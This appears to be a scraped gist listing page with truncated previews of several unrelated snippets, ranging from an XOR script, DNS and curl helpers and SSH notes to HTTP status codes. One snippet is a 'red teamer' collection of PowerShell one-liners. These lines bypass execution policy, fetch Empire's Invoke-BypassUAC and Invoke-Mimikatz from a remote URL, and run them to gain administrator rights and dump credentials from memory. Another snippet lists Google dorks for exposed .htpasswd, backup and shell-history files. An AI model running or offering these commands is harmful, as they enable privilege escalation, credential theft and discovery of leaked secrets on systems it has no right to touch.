This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Not secure by any means, just a PoC for XOR'ing data using powershell | |
| # Credit to http://stackoverflow.com/questions/3478954/code-golf-xor-encryption | |
| $enc = [System.Text.Encoding]::UTF8 | |
| function xor { | |
| param($string, $method) | |
| $xorkey = $enc.GetBytes("secretkey") | |
| if ($method -eq "decrypt"){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Description: | |
| # Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing. | |
| # Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command] | |
| powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'" | |
| # Invoke-Mimikatz: Dump credentials from memory | |
| powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds" | |
| # Import Mimikatz Module to run further commands |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| intitle:index.of .bash_history | |
| intitle:index.of .sh_history | |
| intitle:”Index of” index.html.bak | |
| intitle:”Index of” index.php.bak | |
| intitle:”Index of” index.jsp.bak | |
| intitle:”Index of” “.htpasswd” htpasswd.bak | |
| inurl:backup intitle:index.of inurl:admin | |
| “Index of /backup” | |
| intitle:”Index of” index.html~ | |
| intitle:”Index of” index.php~ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Description : Download files using curl. | |
| echo "Enter the name of your flat file: " | |
| read input_variable | |
| echo "You entered: $input_variable" | |
| #create urls variable array | |
| declare urls=( `cat "$input_variable" `) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| # Description : Maps DNS from a given domain. | |
| import socket | |
| import sys | |
| domain = raw_input("Enter domain: ") | |
| try: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import optparse | |
| import zipfile | |
| import hashlib | |
| import signal | |
| import sys | |
| import os | |
| import cStringIO | |
| import textwrap |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| " _ _ " | |
| " _ /|| . . ||\ _ " | |
| " ( } \||D ' ' ' C||/ { % " | |
| " | /\__,=_[_] ' . . ' [_]_=,__/\ |" | |
| " |_\_ |----| |----| _/_|" | |
| " | |/ | | | | \| |" | |
| " | /_ | | | | _\ |" | |
| It is all fun and games until someone gets hacked! |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ###SSH into a remote machine### | |
| #domain name | |
| ssh [email protected] | |
| #ip address | |
| ssh [email protected] | |
| __exit:__ `exit` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| === http status codes =================================================== | |
| 1xx Informational | |
| 100 Continue | |
| 101 Switching Protocols | |
| 102 Processing (WebDAV; RFC 2518) | |
| 2xx Success | |
| 200 OK | |
| 201 Created |